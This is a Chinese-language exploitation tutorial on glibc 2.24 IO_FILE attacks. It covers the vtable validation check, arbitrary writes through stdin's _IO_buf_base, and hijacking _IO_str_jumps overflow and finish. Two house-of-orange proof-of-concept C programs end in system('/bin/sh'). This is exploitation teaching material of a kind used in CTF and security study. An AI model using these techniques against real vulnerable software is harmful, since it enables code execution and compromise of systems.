glibc 2.24 下 IO_FILE 的利用 介绍 在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void _IO_vtable_check (void ) attribute_hidden;static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable ){ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t ) vtable; uintptr_t offset = ptr - (uintptr_t ) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
计算 section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
,紧接着会判断 vtable - __start___libc_IO_vtables 的 offset ,如果这个 offset 大于 section_length , 即大于 __stop___libc_IO_vtables - __start___libc_IO_vtables
那么就会调用 _IO_vtable_check()
这个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 void attribute_hidden_IO_vtable_check (void ) { #ifdef SHARED void (*flag) (void ) = atomic_load_relaxed (&IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag == &_IO_vtable_check) return ; { Dl_info di; struct link_map *l ; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL ) != 0 && l->l_ns != LM_ID_BASE)) return ; } #else if (__dlopen != NULL ) return ; #endif __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n" ); }
如果 vtable 是非法的,那么会引发 abort。
这里的检查使得以往使用 vtable 进行利用的技术很难实现
新的利用技术 fileno 与缓冲区的相关利用
劫持 _IO_FILE 结构体的 _IO_buf_base
和_IO_buf_end
实现任意地址写
在 vtable 难以被利用之后,利用的关注点从 vtable 转移到 _IO_FILE 结构内部的域中。 前面介绍过 _IO_FILE 在使用标准 IO 库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用诸如 fwrite、fread 等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct _IO_FILE { int _flags; char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; int _flags2; _IO_off_t _old_offset; };
因为进程中包含了系统默认的三个文件流 stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过 scanf\printf 一样可以进行利用。
在 _IO_FILE 中 _IO_buf_base 表示操作的起始地址,_IO_buf_end 表示结束地址,通过控制这两个数据可以实现控制读写的操作。
示例 简单的观察一下_IO_FILE 对于调用 scanf 的作用
1 2 3 4 5 6 7 8 9 10 11 #include "stdio.h" char buf[100 ];int main () { char stack_buf[100 ]; scanf ("%s" ,stack_buf); scanf ("%s" ,stack_buf); }
在执行程序第一次使用 stdin 之前,stdin 的内容还未初始化是空的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x0000000000000000 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 <== vtable
调用 scanf 之后可以看到_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end 等域都被初始化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2288 0x0000000000602013 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000602410 0x0000000000000000 0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000 0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0
进一步思考可以发现其实 stdin 初始化的内存是在堆上分配出来的,在这里堆的基址是 0x602000,因为之前没有堆分配因此缓冲区的地址也是 0x602010
1 2 3 4 5 Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/1/t1 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/1/t1 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/1/t1 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]
分配的堆大小是 0x400 个字节,正好对应于_IO_buf_base~_IO_buf_end 在进行写入后,可以看到缓冲区中有我们写入的数据,之后目的地址栈中的缓冲区也会写入数据
1 2 3 4 5 0x602000: 0x0000000000000000 0x0000000000000411 <== 分配0x400大小 0x602010: 0x000000000a333231 0x0000000000000000 <== 缓冲数据 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000
接下来我们尝试修改_IO_buf_base 来实现任意地址读写,全局缓冲区 buf 的地址是 0x7ffff7dd2740。修改 _IO_buf_base 和_IO_buf_end 到缓冲区 buf 的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2288 0x0000000000602013 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x00007ffff7dd2740 <== _IO_buf_base 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd27c0 0x0000000000000000 <== _IO_buf_end 0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000 0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0
之后 scanf 的读入数据就会写入到 0x7ffff7dd2740 的位置
1 2 3 4 5 0x7ffff7dd2740 <buf>: 0x00000a6161616161 0x0000000000000000 0x7ffff7dd2750 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2760 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2770 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2780 <buffer>: 0x0000000000000000 0x0000000000000000
_IO_str_jumps -> overflow
加入的是 check 是针对 _IO_FILE_plus
的 vtable 检查,没有对 _IO_str_jumps
vtable 进行检查。劫持这个后者的 vtable ,找调用这个虚函数的函数运行 getshell
libc
中不仅仅只有_IO_file_jumps
这么一个vtable
,还有一个叫_IO_str_jumps
的 ,这个 vtable
不在 check 范围之内。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
如果我们能设置文件指针的 vtable
为 _IO_str_jumps
么就能调用不一样的文件操作函数。这里以_IO_str_overflow
为例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); fp->_IO_buf_base = NULL ; } memset (new_buf + old_blen, '\0' , new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1 ); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char ) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow)
利用以下代码来劫持程序流程
1 2 new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
几个条件 bypass:
1. fp->_flags & _IO_NO_WRITES为假
2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
3. fp->_flags & _IO_USER_BUF(0x01)为假
4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
6. fp+0xe0指向system地址
构造:
1 2 3 4 5 6 7 8 9 10 _flags = 0 _IO_write_base = 0 _IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1 _IO_buf_end = (binsh_in_libc_addr -100) / 2 _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_jumps - 0x18
示例 修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 = malloc(0x400-16); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; // _IO_str_overflow conditions char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack // top[0] = ~1; // top[0] &= ~8; top[0] = 0; top[4] = 0; // write_base top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr top[7] = 0; // buf_base top[8] = top[5] - 1; // buf_end // house_of_orange conditions top[1] = 0x61; top[20] = (size_t) &top[18]; top[21] = 2; top[22] = 3; top[24] = -1; top[27] = (size_t)stdin - 0x3868-0x18; // _IO_str_jumps地址 top[28] = (size_t) &winner; /* Finally, trigger the whole chain by calling malloc */ malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; }
_IO_str_jumps -> finish 原理与上面的 _IO_str_jumps -> overflow 类似
1 2 3 4 5 6 7 8 9 void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //[fp+0xe8] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); }
条件:
_IO_buf_base 不为空
_flags & _IO_USER_BUF(0x01) 为假
构造如下:
1 2 3 4 5 6 7 8 _flags = (binsh_in_libc + 0x10) & ~1 _IO_buf_base = binsh_addr _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_finish - 0x18 fp+0xe8 -> system_addr
示例 修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 = malloc(0x400-16); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; // _IO_str_finish conditions char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1; top[7] = ((size_t)&binsh_in_libc); // buf_base // house_of_orange conditions top[1] = 0x61; top[5] = 0x1 ; //_IO_write_ptr top[20] = (size_t) &top[18]; top[21] = 2; top[22] = 3; top[24] = -1; top[27] = (size_t) stdin - 0x33f0 - 0x18; top[29] = (size_t) &winner; top[30] = (size_t) &top[30]; malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; }